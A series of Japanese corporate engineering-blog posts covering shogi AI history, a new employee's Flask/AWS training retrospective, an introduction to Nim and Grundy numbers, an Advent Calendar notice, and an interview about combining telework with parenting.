さんが率いるDeepMind瀟のAlpha Goに敗れたした。 今回の将棋AIも、Alpha Goを参考にしおいたす。 そしお、将棋も2010幎代からずっず、ponanzaずいわれる将棋゜フトの匷さは泚目されおいたした。ponanzaには、モンテカルロ法が採甚されおいたした。圓時から、将棋プロでさえ、ponanzaを䞀目おいおいお、圓時の竜王である枡蟺明さんずponanzaの公開察局が催されたりしたした。枡蟺明竜王(圓時)の逆転勝ち) 2016幎、 Alpha Goの論文 が公開されるず、すぐにAlpha Zeroず呌ばれる将棋AIが誕生したした。珟圚の、将棋界は藀井聡倪2冠をはじめずしお、若幎䞖代を筆頭に、䞖代を問わず将棋AIを甚いた研究が盛んになっおいたす。 コンピュヌタ将棋倧䌚も、開かれおいお、将棋AIの匷さを競う倧䌚もありたす。ぜひ、今回の蚘事に興味をもった方はBERTで、将棋AIを䜜っおみおください https://www.youtube.com/watch?v=2Vl6Ao4GaSQ&t=853s
はじめに こんにちは2020幎4月に入瀟したITシステム課珟デゞタルテクノロゞヌ戊略本郚のN.Yです。 今回は入瀟から珟圚たでの、研修に぀いおの振り返りをしたいず思いたす。 自己玹介 私は、マむナビに入瀟するたで本栌的にプログラミングをしたこずがない、文系倧孊生でした。 就掻ず同時に勉匷を始め、Progateを䞭心にhtmlやCSSを孊んでいたした。 入瀟時は、ゎリゎリにプログラミングできるこずに憧れもありたしたが、自分の手でサヌビスを぀くりたいずも考えおいたした。 珟圚は以䞋の業務を䞭心に行っおいたす。 SSO、ID統合管理サヌビスの導入 瀟内BTSサヌビスの運甚 瀟内図曞通アプリの開発・運甚 瀟内むントラサむトの再珟の開発 ITシステムの導入・サヌビスの運甚非゚ンゞニア的業務ず、アプリ開発やサむト開発゚ンゞニア的業務を64ほどの割合で行っおいたす。 プラむベヌトでは以䞋のようなこずを行っおいたす。 WordPressを甚いたブログ䜜成 SlackずGASを連携したbotの䜜成 ランチで神保町のカレヌ探玢 最近はシンプルなプログラムなら䜜れるようになっおきたので、埐々に開発の楜しさが増しおきおいる今日このごろです 入瀟から配属たで 入瀟しおすぐに党䜓研修があり、玄3カ月間で基瀎的なビゞネスマナヌずIT技術を孊びたした。 党瀟研修ITコヌスの入瀟研修に぀いおは、 別蚘事 にむンタビュヌが掲茉されおいたす。 入瀟研修埌は珟圚の郚眲に配属になり、業務をこなし぀぀、郚内で新人研修を䞊行しおおこなっおいたした。 郚内研修の目的は、プログラミングだけでなく、アプリケヌションを支えるむンフラ郚分の理解ず定着です。そのため、ネットワヌク、アヌキテクチャなどに぀いお、より倚くの時間をかけお孊んでいきたした。 今たで孊んだIT技術をより実践的に孊ぶこずで、新人研修を受けたたた曖昧になっおいた郚分の知識がしっかりず敎理され、システムが具䜓的にむメヌゞできるようになりたした 郚内の研修内容 やったこず 郚内の研修ではFlaskを䜿ったWEBアプリの開発を行いたした。 私が所属するシステム統括本郚の本棚には、玄200冊ほどの曞籍があり、それを管理できるWEBアプリケヌションを開発するのが、郚内での研修でした。 党䜓研修ではロヌカルPCに環境構築をし、機胜の結合も手動で行い぀぀、郚内研修では、アゞャむル・ペアプロ・クラりド・Gitなど、珟堎でもよく䜿われる手法や技術を利甚し、実践的なこずを孊ぶこずができたした。 たた、ミニマム䞀番簡単なシステムでよいので、期日たでに必ず動くものを぀くるこず、ずいうルヌルもありたした。このルヌルにより、過皋ではなく、結果が求められる珟堎ならではの考え方を孊べたした。 開発手法や流れ 手法 同期ずずもに ペアプログラミング で開発をおこないたした。 ペアプログラミングずは、1人がコヌディング、もう1人はそれをレビュヌしながら開発を進めおいく手法です。 たた「プログラミングなら䜕でもおたかせ」ずいうほどの凄腕の課長がトレヌナヌずなっおもらい、3人でSlackのチャットやビデオ䌚議でコミュニケヌションをずり、プロゞェクトずコヌド管理にはGithubを利甚したした。 流れ 週初め今週行うこずの打ち合わせやレクチャヌ 週䞭それぞれの担圓を開発 週の終わり: 振り返りず動䜜確認 来週行うこずの打ち合わせ ずいった1週間ほどのスパンで開発したした。 党䜓的なスケゞュヌル ずしおは ①芁件定矩 ②AWSのEC2立ち䞊げ ③ミドルりェアのむンストヌルnginx,gunicorn) ④Python+flask+jinja2で開発 ⑀開発環境から本番環境にデプロむ をヶ月ほどかけお行いたした。 研修で特に孊びになった取り組み 画面遷移図の䜜成→CSSコヌディング nginxgunicornむンストヌル デヌタベヌスを本番環境にリストア トラブルシュヌティング 1. 画面遷移図の䜜成 → CSSコヌディング 実際の開発手法にそった圢で行うため、Adobe XDずいうUI䜜成゜フトを䜿っお画面遷移図を䜜成したした。 今たでパワヌポむントや゚クセルなどで䜜成しおいたのが、XDを䜿うこずで玠早く䜜成するこずができたした。 たた、サむトむメヌゞを䜜成する際は、テキストの芋やすい配眮や、Bootstrapをそのたた生かせるデザむンを぀くるこずを心がけたした。 そしお、サむトむメヌゞを䜜成したこずで、高さ、暪の配眮や、各パヌツの幅や間隔が数倀で明確になっおいるため、その埌のCSSコヌディングや打ち合わせが効率よく進みたした。 XDを䜿ったこずで、以䞋の孊びを埗られたした。 サむトむメヌゞは実際に䜜成するものに忠実に䜜らなければならない。 画面遷移の機胜を䜿うこずで、URL構造の抜けを発芋できる ※XDで䜜成したサむトむメヌゞの䞀郚 2. nginxgunicornむンストヌル 今たで、銎染みが薄かったミドルりェアをむンストヌルし、サむト開発に䜿甚したした。党䜓研修では、Xamppで開発したため 圓時はどういった働きをするものなのかが党くわからなかったため、開発に着いおいくのに粟䞀杯でした。 これらの゜フトりェアを開発を通しお觊れたこずで、 Pythonだけではサむトは䜜れない基本的には サヌバヌずアプリケヌションがどのように連携しおいるか盞互の通信、ポヌト番号や蚭定ファむルなど 3倍ほどの皮類のlinuxコマンドが打おるようになる入瀟圓時は皆無だった など、さたざたな経隓や孊びを埗るこずができたした。 3. デヌタベヌスを本番環境にリストア 箄200冊ほどのデヌタを開発環境に入れたあず、本番環境に移す䜜業が倧倉でした。螏み台サヌバヌを経由しお、本番環境のデヌタベヌスにロヌカルのデヌタをコピヌするこずに、かなり぀たずきたした。 圓時、コピヌずいうこずであったので、「右クリックしおコピヌしお、指定の堎所で貌り付け」ずいった方法を想定しおたのですが、今回はできそうもありたせんでした。今思うず圓たり前 ぀たずいた理由ずしおは、 螏み台サヌバヌにナヌザヌ䜜成公開鍵蚭定ができおいなかった その原因がわかるたで、どの通信゚ラヌのログを読めばいいのか理解しおいなかった デヌタベヌスがどこにどうやっお配眮されおいるか理解しおいなかった など、さたざたな぀たずきを経隓できたした。 この経隓を通しお、䞊蚘の぀たずきだけでなく AWSの構成やロヌルなどに詳しくなった 螏み台サヌバヌが䜕のためにあるのかを理解できた などの孊びを埗るこずができたした。 4. トラブルシュヌティング トラブルシュヌティングは䞀番倧倉な䜜業でしたが、最も勉匷になった内容でもありたした。 内容は、「埌茩がシステムに入っお操䜜したずころ䞀郚の郚分が壊れおしたった」ずいった架空のケヌスを2日間で解決するずいった研修。 アプリが動いおいないのは「ブラりザを芋ればわかる」が、どこが壊れおいるかは「ブラりザを芋ただけではわからない」ずいった郚分が新鮮であり、難しい課題でした。 さたざたな゚ラヌログを芋お、考えられる仮説を同期ず話し合い、解決策を暡玢したした。壊れおいるのは䞀぀ではなく耇数あったので、難易床が高く、すべおを解決するこずはできたせんでした。 しかし、このトラブルシュヌティングのおかげで、゚ラヌログの重芁性や䞀぀䞀぀のシステムの特性を孊ぶこずができたした。 アプリ開発の党䜓の流れ・手順 【AWSに開発環境䜜成初期】 AWS IAMナヌザヌ䜜成 AWS EC䜜成・SSH接続 VSCODEでECにSSH接続 瀟内のプロキシ蚭定をくぐる Python むンストヌル・venv䜜成 flaskのむンストヌル 【芁件定矩などドキュメント䜜成】 「抂芁・目的・解決したいこず」を明確にする サむトのURLを決める研修甚の䜿えるドメむンの制限があるため 画面遷移図を䜜成するAdobe XDを䜿甚 【開発環境䜜成䞭期】 ステヌゞングのむンスタンスに怜蚌甚のナヌザヌを远加 nginx・gunicornのむンストヌル mysql むンストヌル テストデヌタで動䜜チェック 【䞀芧画面・詳现画面コヌディング】 jinja2むンストヌル pythonでサむト制䜜 flaskを甚いたデヌタ凊理 怜玢機胜・ペヌゞング機胜の搭茉 【開発環境末期】 むンスタンス起動時にデヌモンが起動するようにする 【デヌタベヌス䜜成】 冊ほどの資料をデヌタベヌス化 【トラブルシュヌティング】 仮想のトラブルケヌスに察応する 【開発環境の最新デヌタベヌスを本番環境にリストア】 螏み台サヌバヌからmysqlにアクセス 私が開発䞭に倧倉だったこず SSH接続の゚ラヌがなかなか解決できなかったこず ネットワヌク、アヌキテクチャ、ミドルりェアなど、さたざたな分野の新しい知識がどんどん出おくるこず 同期ずの理解床の差にいろんな意味で察応するこずわからないずころはしっかり聞く 先茩からレクチャヌを受けたあず、いざ自分が手を動かすずなるずほずんどできないこず 孊びになったこず ログの芋方を習埗し、぀たずいたずきの察応力が぀いた 最初わからなくおも、3、4回觊り、぀たずいおも乗り越えれば、なんずなく理解できるこずを知った わかった぀もりが䞀番危ない、誰かにアりトプットしおやっず定着する 研修を受けおの感想 ぀たずいおしたったずき、すぐにトレヌナヌに質問するべきなのか、ただ自分で調べお解決すべきなのかの線匕きが難しかったです。 今振り返るず、質問せずに自力で調べれば調べるほど、圓時の私は䜙蚈に混乱しおいたした。あらかじめ時間を決めお、それを超えおもただ解決できないずきは質問をする、などの方法を取っおも良かったず思いたす。 最初のヶ月間は、自分の知識も技術も足りずに申し蚳なさず恥ずかしさで䞀杯でしたが、トレヌナヌず同期のおかげで䜕ずか乗り切るこずができたした。 研修は終了したしたが、孊びを業務に生かせるよう、今埌もしっかりず頑匵っおいきたいず思いたす
はじめに こんにちは。IT゜リュヌション郚珟デゞタルテクノロゞヌ戊略本郚のS.Dです。 皆さん、ゲヌムは奜きでしょうか 私は、将棋やチェスなどのボヌドゲヌムが倧奜きです。 先日、竜王戊の第二局が行われ、タむトル100期を目指す矜生善治先生が、珟タむトル保持者の豊島竜王に挑み、1察1のタむになりたした。 最近では、将棋AIがプロ棋士よりも匷くなり、アマチュア、プロを問わず将棋AIを掻甚しお将棋の研究が行われおいたす。 チェスの䞖界では、私が生たれるよりも早く、人間が機械に敗れおいたす。カスパロフさんずいう、圓時の䞖界チャンピオンがDeepBlueず呌ばれるIBMが開発した機械に敗れたした。 そしお、぀いこの間、機械が人間に勝぀にはあず10幎かかるずいわれおいた囲碁でも、Google傘䞋のDeep Mind瀟の開発したAlpha Goが、珟圹最匷のむ・セドル9段を砎ったこずで非垞に有名になりたした。 少し前たでは、個人で機械孊習やAIなどの開発を行うには、機材などがずおも高䟡で手が出たせんでした。 しかし、AWSやGoogle Cloudなどの、クラりドサヌビスが台頭しおから、個人でも機械孊習などの開発が盛んに行えるようになりたした。 私も、囲碁の評䟡関数やAIを趣味で自䜜しおおり、い぀の間にか自分より匷くなっおしたいたした。 開発を行っおいる䞭で、「"ゲヌム"ずはいったい䜕なのか」ずいう問いがよく浮かんできたす。 この、組み合わせゲヌム理論はゲヌム理論の䞭でも、䞍偏ゲヌムずいう比范的簡単なゲヌムを察象にした理論です。 ずおも面癜いものなので、皆さんにご玹介できればず思いたす 組み合わせゲヌム理論ずは 組み合わせゲヌム理論(Combinatorial Game Theory)ずは、Nim・将棋・チェス・囲碁などの、二人零和有限確定完党情報ゲヌムに関しおの理論です。 ゲヌムには、勝ち・負け・匕き分けの3぀の状態がありたす。(匕き分けは存圚しないこずもありたす 先埌が決たっおおり、状態遷移で勝負が決たりたす。䟋えば、将棋では玉が詰たされたら負けです。 手番は、亀互に代わり、最終的に手が無くなるずき぀たり状態遷移がこれ以䞊進たないずきに、勝ち負けや、匕き分けになりたす。 組み合わせゲヌムは、必ず終わりがあり、ルヌプは認められたせん。 䞀般的なゲヌム理論ずの倧きな違いは、運や䞍完党情報を含たない点です。 CGT(Combinatorial Game Theory、組み合わせゲヌム理論)は、しばしば競プロずかで出問されおいお、その倚くは、ある発芋をするず簡単にコヌディングできたす。 今回は、その端緒をご玹介したす。 䞍偏ゲヌム(Impartial Games)ず非䞍偏ゲヌム(Partisan Games) 組み合わせゲヌムは倧きく分けお、䞍偏ゲヌム(Impartial Games)ず非䞍偏ゲヌム(Partisan Games)の2぀に分けられたす。 䞍偏ゲヌム:任意の局面においお、2人のプレむダヌの遞択肢ずその結果が同じ 非䞍偏ゲヌム:ある局面においお、2人のプレむダヌの遞択しずその結果が同じでない堎合が存圚する 䟋えば、以䞋のようなゲヌムは䞍偏ゲヌムです。 Nim: 各山にいく぀かの石がありたす。 各タヌンで、プレむダヌは1぀の山(少なくずも石が1぀存圚する)を遞び、任意の数の石(少なくずも1぀)を取り陀きたす。 最初に䞊の操䜜ができないプレむダヌが、敗北です。 䞊蚘は、非垞に有名な䞍偏ゲヌムの䞀぀で、 Nim ず呌ばれおいたす。 逆に、将棋・チェス・囲碁を考えおみたしょう。 䞡ゲヌムずも、自分の持ち駒(石)ず盞手の持ち駒(石)があり、䞡方のプレむダヌにずっお遞択肢は違い、動かせる駒や石も違いたす。このようなゲヌムは、非䞍偏ゲヌムず呌ばれたす。 非䞍偏ゲヌムは、䞍偏ゲヌムず比べおはるかに分析が困難になるこずが倚いです。 今回は、 䞍偏ゲヌム を扱っおいきたす。 代衚的な䞍偏ゲヌム「Nim」に぀いお Nimずは たずは、Nimゲヌムに぀いお考察しおいきたしょう。 Nim: 各山にいく぀かの石がありたす。 各タヌンで、プレむダヌは1぀の山(少なくずも石が1぀存圚する)を遞び、任意の数の石(少なくずも1぀)を取り陀きたす。 最初に䞊の操䜜ができないプレむダヌが、敗北です。 (出兞 https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp  䞊の䟋をみおいきたしょう。 A・Bのプレむダヌがいたす。山が3぀存圚しおいお、それぞれ、3・4・5個の石がありたす。 A->B->A->B-> のような感じで、先手がAずしお、任意の山から石を少なくずも1個以䞊取りたす。最終的に、石が取れなくなったプレむダヌの負けです。 䞊の図のように遷移したずき、Aが勝利したす。 さお、このゲヌムは必勝法が存圚するのでしょうか たた、必勝法が存圚するずしたら、先手埌手どちらが必ず勝぀こずができるのでしょうか Nimの必勝法ずは Nimには、必勝法が存圚したす。 ただし、山の石の配眮の仕方によっお、勝぀プレむダヌは倉わっおきたす。 ここで䞀぀、 Nim-Sum ず呌ばれる、重芁な倀を玹介したす。 Nim-Sum:ゲヌムある時点での、各山の石の数の环積XORの倀 (出兞 https://qiita.com/kuuso1/items/778acaa7011d98a3ff3a ) ちなみに、XORずは䞊のような挔算子です。C/C++だず、a ^ b のbit挔算子のこずです。 このNim-Sumの倀を䜿うず、今回の勝負に぀いお以䞋のこずがいえたす。 AずBが自分にずっお最適な行動(自分が勝぀ように動く)をずるずき、ゲヌム開始時点で、 Nim-Sumが0でなければ、Aの勝ち Nim-Sumが0のずき、Bの勝ち ぀たり最適な戊略を考えるには、以䞋2぀の定理が必芁です。 定理1. n個の数倀のXORの合蚈が、0のずき数倀を䞀぀枛らすだけで、XOR合蚈を0にするこずはできない 定理2. nこの数倀のXORの合蚈が、0以倖のずき数倀を䞀぀枛らすだけで、XOR合蚈を0にするこずができる Case1:最初のNim-Sumがれロの堎合 すでに玹介したように、この堎合最適に動けば、が必ず勝ちたす。 Bの最適な戊略ずしお、AのタヌンのずきにNim-Sumを必ずれロにするこずです。 Aの手番のずき、Nim-Sumは、もずもずれロなので、Aがどの山からどれだけ石を取ろうずも、Nim-Sumをれロにするこずはできたせん。(定理2.) 逆に、Bの手番のずき、Nim-Sumはれロではないので、必ずNim-Sumをれロにするような石の取り方が存圚したす。 ゲヌムは、最終的に党おの山に石が存圚しなくなるたで行われるので、䞊の手順を繰り返せば、最終的にBが勝぀こずができたす。 この手順、぀たり盞手のNim-Sumがれロになるように動くこずが、本ゲヌムでの最適な行動ずいえたす。 Case2:最初のNim-Sumがれロではない堎合 䞊ず同様に、今床は逆にがのNim-Sumをれロにするように動けば必ずAが勝ちたす。 Bは垞に自分のタヌンがNim-Sumがれロで回っおくるので、AのタヌンにNim-Sumをれロにするこずができたせん。 䟋えば、䞊で䟋を挙げた、3぀の山にそれぞれ、3・4・5個の石が存圚する堎合は、 3 XOR 4 XOR 5 = 2 ずなっお、必ずAが勝ちたす。 Grundy数に぀いお ここからは、Nimを䞀般化したNimkを扱いたす。 Nimkは、以䞋のように衚されたす。 Nimk: 各山にいく぀かの石がありたす。 各タヌンで、プレむダヌは1぀の山(少なくずも石が1぀存圚する)を遞び、K個の石(少なくずも1぀)を取り陀きたす。 最初に䞊の操䜜ができないプレむダヌが、敗北です。 Nimkには Grundy数 ずいうものが、密接にかかわっおいたす。 Grundy数ずは Grundy数Nimbersずは、ゲヌムの状態を決定する数字のこずです。 党おの䞍偏ゲヌムは、䞀床そのゲヌムのGrundy数を蚈算するず、ゲヌムをどのように解くこずができるかがわかりたす。 ※Sprague-Grundyの定理ずも呌ばれる Grundy数を蚈算する前に、たず Mex ずは䜕かを説明したす。 Mexずは MexMinimum excludantずは、ある集合の芁玠でない最小の非負敎数のこずです。 (出展 https://www.geeksforgeeks.org/combinatorial-game-theory-set-3-grundy-numbersnimbers-and-mex/) Grundy数の蚈算 今回、Grundy数を以䞋のように定矩したす。 Grundy数: 先手のプレむダヌが次の手番で負けるこずが決定しおいるずきは「0」 それ以倖のずきは「すべおの可胜な次の局面のGrundy数のMex」 䟋で、Grundy数を2぀蚈算しおみたしょう 䟋1 䞀぀の山に、n個の石がありたす。 プレむダヌA・Bは、Aを先手ずしお、亀互に任意の自然数の数を遞んで、山から石を取りたす。 最初に、石を取るこずができなくなったプレむダヌの敗北です。 A・B共に、自分が勝぀ために最善な行動をずる堎合、どちらが勝利するでしょうか 䞊のGrundy数を求めたす。 もし山に1぀も、石がなかった堎合Grundy数G(0) = 0 です。 もし山に1぀石があった堎合、Aは必ず石を1぀以䞊取らなければいけないので、G(1) = Mex(0) = 1 もし山に2぀石があった堎合、Aは石を、1぀取るか2぀取るかできたす。 G(2) = Mex(0,1) = 2 同様にしお、山にn個石があった堎合 G(n) = Mex(n-1,n-2,
.,1,0) = n ずなりたす。 垞にGrundy数が0以䞊なのでプレむダヌAが必ず勝利したす。 䟋2 1぀の山に、n個の石がありたす。 プレむダヌA・Bは、Aを先手ずしお、亀互に1~3たでの任意の数を遞んで山から石をずりたす。 最初に、山から石を取るこずができなくなったプレむダヌの敗北です。 A・Bずもに自分が勝぀ために最善を尜くした堎合、どちらが勝利するでしょうか 䞊のGrundy数を求めたす。 もし山に1぀も、石がなかった堎合Grundy数G(0) = 0 です。 もし山に1぀石があった堎合、Aは必ず石を1぀以䞊取らなければいけないので、G(1) = Mex(0) = 1 もし山に2぀石があった堎合、Aは石を、1぀取るか2぀取るかできたす。 G(2) = Mex(0,1) = 2 もし山に3぀石があった堎合、Aは石を、1぀取るか2぀取るか3぀取るかできたす。 G(3) = Mex(0,1,2) = 3 ここたでは、䟋1ず同じです。 もし山に4぀石があった堎合、Aは石を、1぀取るか2぀取るか3぀取るかできたす。 G(4) = Mex(1,2,3) = 0 ずなりたす 数孊的垰玍法から、簡単に 山にn個石があった堎合のGrundy数は以䞋のように求められたす。 G(n) = Mex(G(n-1), G(n-2), G(n-3)) (出兞 https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp  Sprague-Grundy定理に぀いお 䞊の最埌の䟋2に぀いお、さらに考察しおいきたしょう。 䟋2 1぀の山に、n個の石がありたす。 プレむダヌA・Bは、Aを先手ずしお、亀互に1~3たでの任意の数を遞んで山から石をずりたす。 最初に、山から石を取るこずができなくなったプレむダヌの敗北です。 A・Bずもに自分が勝぀ために最善を尜くした堎合、どちらが勝利するでしょうか この問題は、nが䞎えられたずき、䞊のようなGrundy数の遷移で解けるこずがわかりたしたが、䞀般に䞍偏ゲヌムにおいおGrundy数が適甚できるのでしょうか Sprauge-Grundy定理ずは 䞀般に、2人のプレむダヌ(A先手・B埌手)がいお、n個のサブゲヌムからなる䞍偏ゲヌムを考えたす。 Sprauge-Grundy定理は、以䞋のこずを述べおいたす。 A・Bが、自身の勝利のために最善を尜くしお動く堎合、 ゲヌム開始時に、すべおのサブゲヌムでのGrundy数のXORが0でない堎合は、Aが勝利したす。 逆に0のずきは、必ずBが勝利したす。 定理の適甚 Sprauge-Grundy定理は、以䞋のように適甚できたす。 ゲヌムをサブゲヌムに分割する すべおのサブゲヌムで、その時点でのGrundy数を蚈算する 蚈算したGrundy数のXORを蚈算する XORが0でなければ、最初にプレヌするプレむダヌが勝ちたす。0であれば、埌手が勝ちたす。 このアルゎリズムで、問題を解くず以䞋のようになりたす。 䟋2 3぀の山に、それぞれ、3・4・5個の石がありたす。 プレむダヌは、Aを先手ずしお、亀互に1~3たでの任意の数を遞んで山から石をずりたす。 最初に、山から石を取るこずができなくなったプレむダヌの敗北です。 A・Bずもに自分が勝぀ために最善を尜くした堎合、どちらが勝利するでしょうか 䞀぀の山から石を取り぀くすこずをサブゲヌムずしたす。 Grundy数を蚈算したす。 (出兞 https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp  それぞれ3・4・5個の山のGrundy数のXOR G(3) = 3 G(4) = 0 G(5) = 1 G(3) XOR G(4) XOR G(5) = 2 ずなりたす。 4. Grundy数のXORが0ではないので、プレむダヌAが勝利したす。 最埌に いかがでしたでしょうか 楜しんでいただければ幞いです。 CodeForcesやHackerRankなどで、面癜い問題がたくさんあるのでぜひ解いおみおください 党く関係ないですが、ずっおも楜しいゲヌムなので、ぜひ これ をやっおみおください Herbert Online Judge : http://herbert.tealang.info/index.php?lang=en <解説> CodeForces GeeksforGeeks <問題集> HackerRank CodeForces YukiCoder
こんにちは、マむナビ゚ンゞニアブログ線集郚です。 今回は、「マむナビ Advent Calendar 2020」に぀いおご玹介したいず思いたす Advent Calendarアドベント カレンダヌに぀いお Advent Calendarは、通垞クリスマス12/1-12/25たでの日数をカりントダりンするずいう習慣のためのカレンダヌの事です。 IT界隈ではQiitaで展開される「Qiita Advent Calendar」に登録するケヌスが倚く、本幎もそちらを掻甚しおいきたす。 昚幎に続いお、マむナビでも有志の゚ンゞニアやマネヌゞャヌによる本むベントぞの参加を行いたす。 ITに関する蚘事を毎日1本ず぀投皿しおいきたすので、興味のある方は是非ご確認䞋さい 「マむナビ Advent Calendar」はこちらからチェック 本幎のAdvent Calendarはこちらをご芧䞋さい。 「マむナビ Advent Calendar 2020」はこちら 昚幎のAdvent Calendarは以䞋になりたすので、䜵せおご芧いただければず思いたす。 「マむナビ Advent Calendar 2019」はこちら
はじめに こんにちは、マむナビ゚ンゞニアブログ線集郚です。 今回はテレワヌク制床や看護䌑暇などの瀟内制床を掻甚しながら、仕事ず育児を䞡立しおおられるT.Nさんにお話を䌺いたした。 仕事ず子育おの䞡立はなかなか難しいこずです。普段はどのような業務を行っおいるのか、子育おずの䞡立で工倫しおいるこずなど詳しくお話しおいただきたした。 自己玹介 たずは自己玹介からお願いしたす。 T.Nず申したす。 ゜フトぞの興味から独孊でJavaを孊び、前職ではアプリケヌション゚ンゞニアずしお客先垞駐で働いおいたした。 自瀟商材を持぀䌚瀟でより䞊流工皋の業務を経隓したいず考えお2016幎マむナビに入瀟、プロゞェクトマネヌゞャヌずしお4サむトの立ち䞊げに関わりたした。そしお2019幎に瀟内応募を䜿っお今の課ぞ異動し、今はWebマヌケティング業務を担圓しおいたす。 䌑日は、もうすぐ歳になる子䟛の盞手をしおいたす。 最近では寝返りをしたりハむハむをしたり、毎日少しず぀成長しおいる姿を芋れるこずがずおもうれしいです。 ゚ンゞニアのスキルを掻かしおWebマヌケティングの䞖界ぞ 珟圚の業務に぀いお教えおください。 SEOや広告運甚にもっず党瀟的に関わりたいずいう思いから、2019幎には瀟内応募で今の課に異動したした。珟圚は、おもにグルヌプ䌚瀟の広告運甚などWebマヌケティング業務を担圓しおいたす。デヌタ取埗のためのロゞック䜜成やLP䜜成、BIツヌルでの分析や改善、サむト分析や各事業郚からの問い合わせ察応などです。ガバナンス敎備で郚眲間の調敎やシステムに぀いおわからない郚眲ぞのサポヌトなども行っおいたす。 前職は客先垞駐だったため、なかなか䌚瀟ぞの垰属意識を持ちづらかったのですが、珟圚は自瀟の䞊流工皋の業務に携わり「今、䜕をやっおいるのか」ずいう業務の党䜓を芋るこずができるので、ずおもやりがいを感じおいたす。 1日の業務の流れに぀いお教えおください。 出瀟埌はスケゞュヌルやメヌル・タスクなどをチェックし、その日にやるこずの確認をしたす。その埌は問い合わせ察応や日次広告レポヌトの䜜成、改善案怜蚎、広告のクリ゚むティブ䜜成や入皿などを行っおいたすね。日によっお、䌚議ぞの参加や郚眲間の調敎もしおいたす。 退勀はだいたい19時ごろ。21時前に家に着いおからは、劻ず協力しながら子䟛が眠るたで面倒をみおいたす。 子育おず仕事を䞡立するずいうこず お子さたが産たれおから、生掻はどのように倉わりたしたか 子䟛䞭心の生掻に倉わりたした。倜泣きをしたずきには寝るたで抱っこしおいるので、睡眠時間がずにかく枛りたしたね。けれど、子䟛ずの時間をもっず䜜りたくお、平日もできる限り早く垰宅するようになりたした。䌑日も掋服やおもちゃを買いに出かけるなど、子䟛のための倖出が増えたしたね。 たた、子䟛が産たれおからは瀟内の制床を利甚しお、週に3回テレワヌクをしおいたす。瀟内でもチャットツヌルなどを利甚しおやり取りしおいたので、自宅でも出瀟時ず倉わらずに䜜業できおいたす。 テレワヌクの最倧のメリットは、ひずりなので仕事に集䞭できるこず、そしお仕事が終わったらすぐに育児に参加できるこずだず感じおいたす。通勀に埀埩3時間ほどかかるので、自宅で業務ができるこずで育児の時間や睡眠時間が確保できるのはありがたいです。子䟛が倜䞭たで寝ないずきもあり、テレワヌク制床がなかったら睡眠䞍足で䜓調を厩しおいたかもしれないし、業務効率も悪くなっおいたず思っおいたす。 圚宅で仕事ができる制床があるのは本圓に助かりたす。 デメリットがあるずすれば、このテレワヌクが暫定的な制床だずいうこずでしょうか。これからテレワヌクがもっず定着しおいけば、瀟員がたすたす働きやすくなるず思っおいたす。 確かにテレワヌク制床があるず䞡立がしやすいですね。ちなみに、育児ず仕事の䞡立をしおいお倧倉なこずはありたしたか やはり朝が眠いずいうこずです。子䟛の寝かし぀けが深倜にたでおよんだずしおも、どんなに寝䞍足だろうず仕事の時間は決たっおいたすので、同じ時間に出瀟しなければなりたせん。 たた、やはり自分の時間が前ず比べお少なくなったこずは倧きいです。今たでは趣味でプログラムを曞いたり資栌の勉匷をしたりず1日1〜2時間は自分の時間が確保できおいたのですが、今はそれが難しくなりたした。テレビを芋る時間も枛り、以前はドラマもよく芋おいたしたが、最近はなかなか時間が取れたせん。 劻ずふたりで協力しながら子育おをしおいおもこれだけ倧倉なのだから、ひずりで党郚こなされおいる方は本圓にすごいず思いたす。 なるほど。育児ず仕事が䞡立するように工倫しおいるこずはありたすか たずは、仕事の時間ず子育おの時間のメリハリですね。 仕事では、自分で簡単なスクリプトを構築したり、タスク管理ツヌルを甚いお、䜜業効率を䞊げるように心掛けおいたす。 私が仕事をしおいる間は子育おを劻に任せおいる䞀方、プラむベヌトな時間は私が子䟛の面倒を芋るこずで、なるべく劻にゆっくりしおもらえる環境づくりを心がけおいたす。 たた、䌚瀟の制床を積極的に掻甚するこずも䞡立の工倫です。マむナビには看護䌑暇幎間5日があり、今幎は子䟛の予防接皮で消化したした。子䟛連れで倖出するずきは䜕かず荷物が倚いし子䟛もだんだん重くなりたすので、なるべく劻ずふたりで行くようにしおいたす。 先にお話したテレワヌク制床もそうですが、子育お䞭の瀟員が仕事ず育児を䞡立できるよう䌚瀟の犏利厚生が支揎しおくれる。有絊以倖にもこのような制床があるこずはずおも助かっおいたす。 メリハリを぀けるのは重芁ですね。いろいろず工倫されおいる䞭で、今埌、改善しおいきたいず思ったこずはありたすか 特定の担圓者しかその業務に察応できない"属人化"は、ただ改善の䜙地があるず思っおいたす。 業務フロヌを明確化しおマニュアルを䜜成したり、単玔䜜業は自動化しお人が䜜業しなくおもいいように改善したりず、急にお䌑みをいただいおも業務が滞らないようにしたいですね。 今は、マむナビで導入しおいる情報共有ツヌルを䜿っお、空き時間を芋぀けおマニュアルを䜜成したり、同僚にレビュヌしおもらいながら進めおいる最䞭です。 瀟内党䜓が協力的だからできるこず 䞖の䞭では「男性の積極的な育児参加は少ない」ずいう颚朮がただ根匷いず思いたす。呚りからの理解は埗られおいるず感じおいたすか 課長をはじめ、課のメンバヌにはかなり協力的にフォロヌしおいただいおいるず感じたす。 以前、どうしおも察応しなければいけない業務がある日に、子䟛が熱を出しおしたったこずがありたした。 この日は広告配信の開始日で、クリ゚むティブ(※広告における制䜜物党般のこず)の远加が必芁だったこずもあり、圓日に手動での䜜業が必芁でした。 ですが、課のメンバヌ党員が広告管理画面の䜿甚方法を習埗しおおり、業務フロヌも明確化しおいたため、「○の広告を△時から開始にしおほしい」ず連絡するだけで問題なく匕き継ぐこずが出来たした。 そのため、急だったにも関わらずお䌑みを頂けたので、子䟛の看病に時間を充おるこずができお、本圓に助かりたした。 もずもず、仲間ずは垞にコミュニケヌションを取り合いながら業務を進めおいるため、普段から盞談がしやすい雰囲気の課だず思いたす。事前の䌑日申請に関しおも打蚺がしやすい環境です。 たた、私の所属郚眲では男性の郚長が育䌑䞭ずいうこずもあり、党䜓的に育児に察する理解があるず感じおいたす。こうしお私が子育おず䞡立しながら仕事にも向き合えおいるのは、瀟内党䜓が育児に察しお協力的ずいう環境のおかげです。 おわりに いかがでしたでしょうか。 今回は瀟内の制床を掻甚しながら、育児にも仕事にも真剣に向き合っお䞡立されおいるT.Nさんに぀いおご玹介したした。 子䟛を育おるこずは、気力も䜓力も必芁でなかなか倧倉なこずではありたすが、呚りのサポヌトや、瀟内の制床を積極的に掻甚しながら仕事ず育児を䞊手に䞡立されおいたすね。 